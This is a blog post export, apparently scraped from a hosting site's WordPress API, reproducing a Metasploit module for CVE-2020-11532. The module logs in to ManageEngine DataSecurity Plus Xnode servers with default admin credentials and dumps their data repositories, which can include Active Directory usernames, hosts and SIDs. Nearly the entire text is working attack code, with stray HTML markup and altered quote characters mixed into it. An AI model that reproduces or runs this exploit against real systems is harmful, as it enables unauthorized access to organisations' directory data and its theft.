##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::ManageEngineXnode
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(_info = {})
super(
‘Name’ => ‘ManageEngine DataSecurity Plus Xnode Enumeration’,
‘Description’ => %q{
This module exploits default admin credentials for the DataEngine
Xnode server in DataSecurity Plus versions prior to 6.0.1 (6011)
in order to dump the contents of Xnode data repositories (tables),
which may contain (a limited amount of) Active Directory
information including domain names, host names, usernames and SIDs.
This module can also be used against patched DataSecurity Plus
versions if the correct credentials are provided.<\/p>\n
By default, this module dumps only the data repositories and fields
(columns) specified in the configuration file (set via the
CONFIG_FILE option). The configuration file is also used to
add labels to the values sent by Xnode in response to a query.<\/p>\n
It is also possible to use the DUMP_ALL option to obtain all data
in all known data repositories without specifying data field names.
However, note that when using the DUMP_ALL option, the data won’t be labeled.<\/p>\n
This module has been successfully tested against ManageEngine
DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.
},
‘Author’ => [
‘Sahil Dhar’, # discovery and PoC (for authentication only)
‘Erik Wynter’, # @wyntererik – additional research and Metasploit
],
‘License’ => MSF_LICENSE,
‘References’ => [
[‘CVE’, ‘2020-11532’],
[‘PACKETSTORM’, ‘157609’],
],
)
register_options [
OptString.new(‘CONFIG_FILE’, [false, ‘YAML file specifying the data repositories (tables) and fields (columns) to dump’, File.join(Msf::Config.data_directory, ‘exploits’, ‘manageengine_xnode’, ‘CVE-2020-11532’, ‘datasecurity_plus_xnode_conf.yaml’)]),
OptBool.new(‘DUMP_ALL’, [false, ‘Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.’, false]),
Opt::RPORT(29119)
]end<\/p>\n
def config_file
datastore[‘CONFIG_FILE’].to_s # in case it is nil
end<\/p>\n
def dump_all
datastore[‘DUMP_ALL’]end<\/p>\n
def username
datastore[‘USERNAME’]end<\/p>\n
def password
datastore[‘PASSWORD’]end<\/p>\n
def check
# create a socket
res_code, sock_or_msg = create_socket_for_xnode(rhost, rport)
if res_code == 1
return Exploit::CheckCode::Unknown(sock_or_msg)
end<\/p>\n
@sock = sock_or_msg<\/p>\n
# perform basic checks to see if Xnode is running and if so, if it is exploitable
res_code, res_msg = xnode_check(@sock, username, password)
case res_code
when 0
return Exploit::CheckCode::Appears(res_msg)
when 1
return Exploit::CheckCode::Safe(res_msg)
when 2
return Exploit::CheckCode::Unknown(res_msg)
else
return Exploit::CheckCode::Unknown(‘An unexpected error occurred whilst running this module. Please raise a bug ticket!’)
end
end<\/p>\n
# noinspection RubyMismatchedArgumentType
def run
# check if we already have a socket, if not, create one
unless @sock
# create a socket
res_code, sock_or_msg = create_socket_for_xnode(rhost, rport)
if res_code == 1
fail_with(Failure::Unreachable, sock_or_msg)
end
@sock = sock_or_msg
end<\/p>\n
# get the Xnode health status
health_warning_message = [‘Received unexpected response while trying to obtain the Xnode “de_health” status. Enumeration may not work.’]res_code, res_health = get_response(@sock, action_admin_health, health_warning_message, ‘de_health’)<\/p>\n
if res_code == 0
if res_health[‘response’][‘de_health’] == ‘GREEN’
print_status(‘Obtained expected Xnode “de_health” status: “GREEN”.’)
else
print_warning(“Obtained unexpected Xnode \\”de_health\\” status: \\”#{res_health[‘response’][‘de_health’]}\\””)
end
end<\/p>\n
# get the Xnode info
info_warning_message = [‘Received unexpected response while trying to obtain the Xnode version and installation path via the “xnode_info” action. Enumeration may not work.’]res_code, res_info = get_response(@sock, action_xnode_info, info_warning_message)<\/p>\n
if res_code == 0
if res_info[‘response’].keys.include?(‘xnode_version’)
print_status(“Target is running Xnode version: \\”#{res_info[‘response’][‘xnode_version’]}\\”.”)
else
print_warning(‘Failed to obtain the Xnode version.’)
end<\/p>\n
if res_info[‘response’].keys.include?(‘xnode_installation_path’)
print_status(“Obtained Xnode installation path: \\”#{res_info[‘response’][‘xnode_installation_path’]}\\”.”)
else
print_warning(‘Failed to obtain the Xnode installation path.’)
end
end<\/p>\n
# obtain the total number of records and the min and max record ID numbers for each repo, which is necessary to enumerate the records
repo_record_info_hash = {}
datasecurity_plus_data_repos.each do |repo|
# send a general query, which should return the “total_hits” parameter that represents the total record count
res_code, res = get_response(@sock, action_dr_search(repo))
total_hits = process_dr_search(res, res_code, repo, [‘UNIQUE_ID’], ‘total_hits’)
# check if total_hits is nil, as that means process_dr_search failed and we should skip to the next repo
next if total_hits.nil?<\/p>\n
total_hits = total_hits.first<\/p>\n
# use “aggr” with the “min” specification for the UNIQUE_ID field in order to obtain the minimum value for this field, i.e. the oldest available record
aggr_min_query = { ‘aggr’ => { ‘min’ => { ‘field’ => ‘UNIQUE_ID’ } } }
res_code, res = get_response(@sock, action_dr_search(repo, [‘UNIQUE_ID’], aggr_min_query))
aggr_min = process_dr_search(res, res_code, repo, [‘UNIQUE_ID’], ‘aggr_min’)
# check if aggr_min is nil, as that means process_dr_search failed and we should skip to the next repo
next if aggr_min.nil?<\/p>\n
aggr_min = aggr_min.first<\/p>\n
# use “aggr” with the “max” specification for the UNIQUE_ID field in order to obtain the maximum value for this field, i.e. the most recent record
aggr_max_query = { ‘aggr’ => { ‘max’ => { ‘field’ => ‘UNIQUE_ID’ } } }
res_code, res = get_response(@sock, action_dr_search(repo, [‘UNIQUE_ID’], aggr_max_query))
aggr_max = process_dr_search(res, res_code, repo, [‘UNIQUE_ID’], ‘aggr_max’)
# check if aggr_max is nil, as that means process_dr_search failed and we should skip to the next repo
next if aggr_max.nil?<\/p>\n
aggr_max = aggr_max.first<\/p>\n
print_good(“Data repository #{repo} contains #{total_hits} records with ID numbers between #{aggr_min} and #{aggr_max}.”)<\/p>\n
repo_record_info_hash[repo] = {
‘total_hits’ => total_hits.to_i,
‘aggr_min’ => aggr_min.to_i,
‘aggr_max’ => aggr_max.to_i
}
end<\/p>\n
# check if we found any repositories that contained any data
if repo_record_info_hash.empty?
print_error(‘None of the repositories specified contained any data!’)
return
end<\/p>\n
if dump_all
data_to_dump = datasecurity_plus_data_repos
else
data_to_dump = grab_config(config_file)<\/p>\n
case data_to_dump
when config_status::CONFIG_FILE_DOES_NOT_EXIST
fail_with(Failure::BadConfig, “Unable to obtain the Xnode data repositories to target from #{config_file} because this file does not exist. Please correct your ‘CONFIG_FILE’ setting or set ‘DUMP_ALL’ to true.”)
when config_status::CANNOT_READ_CONFIG_FILE
fail_with(Failure::BadConfig, “Unable to read #{config_file}. Check if your ‘CONFIG_FILE’ setting is correct and make sure the file is readable and properly formatted.”)
when config_status::DATA_TO_DUMP_EMPTY
fail_with(Failure::BadConfig, “The #{config_file} does not seem to contain any data repositories and fields to dump. Please fix your configuration or set ‘DUMP_ALL’ to true.”)
when config_status::DATA_TO_DUMP_WRONG_FORMAT
fail_with(Failure::BadConfig, “Unable to obtain the Xnode data repositories to target from #{config_file}. The file doesn’t appear to contain valid data. Check if your ‘CONFIG_DIR’ setting is correct or set ‘DUMP_ALL’ to true.”)
end
end<\/p>\n
# try and dump the database tables Xnode has access to
data_to_dump.each do |repo, fields|
if fields.blank? && !dump_all
print_error(“Unable to obtain any fields for the data repository #{repo} to query. Skipping this table. Check your config file for this module if this is unintended behavior.”)
next
end<\/p>\n
# check if we actually found any records for the repo
next unless repo_record_info_hash.include?(repo)<\/p>\n
total_hits = repo_record_info_hash[repo][‘total_hits’]id_range_lower = repo_record_info_hash[repo][‘aggr_min’]max_id = repo_record_info_hash[repo][‘aggr_max’]\n
if total_hits.nil? || id_range_lower.nil? || max_id.nil?
print_error(“Unable to obtain the necessary fields for #{repo} from the repo_record_info_hash!”)
next
end<\/p>\n
if total_hits == 0
print_error(“No hits found for #{repo}!”)
next
end<\/p>\n
id_range_upper = id_range_lower + 9
query_ct = 0<\/p>\n
results = []print_status(“Attempting to request #{total_hits} records for data repository #{repo} between IDs #{id_range_lower} and #{max_id}. This could take a while…”)
hit_upper_limit = false
until hit_upper_limit
# build a custom query for the unique_id range
custom_query = { ‘query’ => “UNIQUE_ID:[#{id_range_lower} TO #{id_range_upper}]” }
query = action_dr_search(repo, fields, custom_query)
res_code, res = get_response(@sock, query)
partial_results = process_dr_search(res, res_code, repo, fields)
results += partial_results unless partial_results.nil?<\/p>\n
query_ct += 1
if query_ct % 5 == 0
print_status(“Processed #{query_ct} queries (max 10 records per query) so far. The last queried record ID was #{id_range_upper}. The max ID is #{max_id}…”)
end<\/p>\n
# check if we have already queried the record with the maximum ID value, if so, we’re done
if id_range_upper == max_id
hit_upper_limit = true
else
id_range_lower += 10
id_range_upper += 10
# make sure that id_range_upper never exceeds the maximum ID value
if id_range_upper > max_id
id_range_upper = max_id
end
end
end<\/p>\n
if results.empty?
print_error(“No non-empty records were obtained for #{repo}.”)
next
end<\/p>\n
outfile_part = “xnode_#{repo.downcase}”
path = store_loot(outfile_part, ‘application\/json’, rhost, results.to_json, “#{repo}.json”)
print_good(“Saving #{results.length} records from the #{repo} data repository to #{path}”)
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Auxiliary::ManageEngineXnodeinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::Tcpprepend Msf::Exploit::Remote::AutoCheck def initialize(_info = {})super(‘Name’ => ‘ManageEngine DataSecurity Plus Xnode Enumeration’,‘Description’ => %q{This module exploits default admin credentials for the DataEngineXnode server in DataSecurity Plus versions prior to 6.0.1 (6011)in order to dump the contents of Xnode data repositories …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59299","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59299","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59299"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59299\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59299"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59299"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59299"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}